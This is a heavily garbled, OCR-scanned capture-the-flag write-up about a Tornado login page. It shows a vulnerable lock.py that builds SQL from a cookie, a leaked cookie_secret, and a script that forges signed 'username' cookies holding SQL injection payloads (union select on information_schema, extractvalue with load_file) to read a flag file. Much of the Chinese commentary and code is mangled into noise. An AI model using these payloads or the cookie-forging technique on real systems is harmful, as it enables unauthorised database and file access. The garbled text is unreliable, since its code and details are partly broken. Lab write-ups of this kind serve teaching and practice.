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Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex
POST /login HTTP/L.L N HTTP/L.1 400 Bad Request O
Host: d5006108522743178098200 Lec568050306ac 7234254753 L gams . ichundiu. com P Server: ngine/l.10.2 P
Content-Length: 77 Date: Hon, 10 Sep 2018 0B:Z1:lS GHT
heespt: /% Comtent-Type: text/plain
Origin: htep://dSS061985a743178882501cC568550306accTe3£4254753 . game. ichund in. com Content-Length: 802

¥-Requestsd-With: XHLEttpRequest Conneetion: closs

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132

Tracshack (mest rscent call last):
File "/usc/libé4/pythonz.é/site-packages/tornado-4.2b1-py2. é-1linux-x8€_£4.egg/tornado/web.py”, line 1413, in

Satari/537.36
Content-Type: application/x-www—form-urlencodsd; charset=UTF-g
Referer: http://dSS061985a=743170802001ec560950306ace7eI 4254753 . game . ichungiu. com/ login?next=52F _executs
Accept-Language: zh-CH, zh;q=0.9 result = method(*self.path_args, **self.pach_kvaras)
Di D 100000; File "/var/vwu/html/reiny/login.py", line 23, in post
T USername= ' TSElf.geC_Arqument ("email”) +"

+ WAS (3e1T.get_argument ('pass') )+ ")

! and password='"
line 385, in

6-linux-x96_64.=gg/tornads/veb.py",

Cookie:
UN_distinctid-185a83e383170-0bhecE94704h6-3c604504- LEa400-165a83238402d2; pgv_pvi=7982519296;
En_Lvt_9104989c=242282030482 acecag50328=1536553369; Hm_lvt_1a32f7c£60491887db0SED=Ge3 14b022= 153 £5633£8; File "/usr/lib4/python2.E/site-packages/tornado-4.2b1-py2.
DPOV_5i=346€3162680; Hm_lvt_2dD601bd2B8de7d49818249c£35d95943-153€379472, 1536400685, 1536555993, 1536557559 ; get_argument
E01bd2Bd=7d208 15240 £35d095043=1536557550; ¢i_session=g23=d3hSalcadd72s5ds3 £aa7274a7535600551; Treturn self._get_argument (name, default, S=lf.recquest.arguments, strip)
Tile "/usr/1ibE4/pythons./site-packages/tornado-4.2b1-py2. 6-1inux-x86_64. ega/tornade/web.py”, line 462, in

105761 4a6aa2376debaarse51d8645C5ECI551| L536567630;
20962761.253010983 5200404300, 1536567630109, 3486; monitor_count=2 _get_argument

Connection: close

raise MissingArgumentError (name)
MissingArguwentError: HTTP 400: Bad Request (Missing argument pass)

pass(]=lesmail=le_xsSrf=2|DELOSTEL|4a6aal376debaatse51d8645c5TeI551| 1536567630

t

RIERTT U RBZATE T, HFEREMRAE, KI lock.py CHFH KIS RFEIEANK:

24 lines (20 sloc) 622 Bytes Raw  Blame

#!/usr/bin/env python
# -*- coding:utf-8 -*-

__author__ = 'roker’
import tornado.web

from function import mds
import db

from config import URL

class LockHandler(tornado.web.RequestHandler):

def get(self):
self.set_secure_cookie("lock",'1")

self.render("lock.html")

def post(self):

username = self.get secure_coockie("username") or '’

passwd = md5(self.get argument('password’, "'))

row = db.ct("manager”, "*", "username='" + username + "' and password="" + passwd + "'")
if row:

self.set_secure_cookie("lock™, "@")
self.redirect("http://" + URL)

else:
self.redirect("http://" + URL + "/lock™)

EAT LABE B & username , RAGEH BRI IE

set_secure_cookie & tornado H]—ANJ7iEk:

def set secure cookle(setf; name, value, expires_days=30, version=None,
| | | |  **kwargs):
"""Slgns and timestamps a cookie so 1t cannot be forged.

=]

You must specify the " cookie secret = setting in your Applicatiol
to use this method. It should be a lLong, random sequence of bytes

to be used as the HMAC secret for the signature.

To read a cookie set with this method, use “get secure_cookie()’.



Note that the " “expires _days = parameter sets the Llifetime of the
cookie 1in the browser, but 1s independent of the "~ max_age days -
parameter to "get secure_cookie .

Secure cookies may contain arbitrary byte values, not just unicode
strings (unlike regular cookies)

Similar to "set_cookie , the effect of this method will not be
seen until the following request.

.. versionchanged:: 3.2.1

Added the "~ “version = argument. Introduced cookie version 2
and made it the default.

{HRIXA cookie RBMNE LI, MNZEFEHEK key 7E index.php XMHH, FrUARATR FEWR B CHENES], FHAMEER key N
R, BRI

import tornado.ioloop
import tornado.web

settings = {
"cookie_secret" : "M@eh0260Qm2dD/MQFYfczYpUbJoyrkp6gqYoI2hRw2jc=",

class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("Hello")
#tself.set_secure_cookie("username", "' and 1=2 union select (1,concat(@x5c,(select group_concat(distinct]
table_name) from information_schema.tables where table_schema="'xss')));#")

self.set_secure_cookie("username", "' and 1=2 union select extractvalue(1,concat(@x5c,mid((select load f
ile('/var/www/html/f13g 1s here.txt')),20,62)));#")
self.write(self.get_secure_cookie("username"))

def make_app():
return tornado.web.Application([
(r"/index", MainHandler),
1, **settings)

if _name__ == "_main__":
app = make_app()
app.listen(8089)
tornado.ioloop.IOLoop.instance().start()

fE AR FENEIENIER), WARIBITZ)E, ViR &H11P:8080/index HEX cookie BRI : #UUAF A KIK



pLC ESNE = VEIE LS EIP gl 192.168.3.86:8080/index P + -

CcC @ @ 192.168.3.86:8080/index A 44 Z N @ n e
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Hello' 4nd 1=2 union select extractvalue(f\concat(0x5¢c,mid((select load file('/var/www/html/f13g_Is_here.txt")),20,62)));#

G O=s% e OFEEE (I RsEE Cus OmE - WE 8 &E @ Hacksar =
w i URL Il BFE HTML CSS JS XHR >k E& Rk ws Hft [(@AE (2REF o s H
byl T prad -7 Cookie 28 W S5 &I SSEE

PART I R sskmatk: http://192.168.3.86:8080/index
BRIk GET
iciEhl: 192.168.3.86:8080
WA zed D RENEE Rk
B HTTP/1.1
TBALSK (469 F55)
Date: Mon, 10 Sep 2018 10:51:36 GMT
Etag: "bob4e798d6c10c455b2f4f3ccfaed70f985282a"
Server: TornadoServer/5.1
1 username=2|1:0]10:1536576696|8:username| 156:JyBhbmQgMTOyIHVuaWIuIHNIbGVjdCBleHRy YWNOdmFsdWUoMSxjb2 57 YXQoMHg 1 YyxtaWQoKHNIbGVjdCBsb2FkX2Z pbGUoJy9 2 YXIv(
HRK (732 1)
Accept: text/html application/xhtml+xm...plication/xmkq=0.9,*/*q=0.8
Accept-Encoding: gzip, deflate
@ 1MNER EEWI122FE/59 FH s Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK:q=0.5,en-US;q=0.3,en;q=0.2

index

RIEVIE 1HEK B H, Burpsuit MEL, JHE repeat R, HIMSH cookie[username] HKs HAH & N RIA HNELE
[ cookie (HEPHI, A—HEEE, ErKERAMRN, MEBENSERKETK, FEMH nid H substr BEBE, &ERK
B flag KIRHE, 8id load_file BEEX flag X fF:

select 1

_file('/var/www/html/f13g 1s here.txt')
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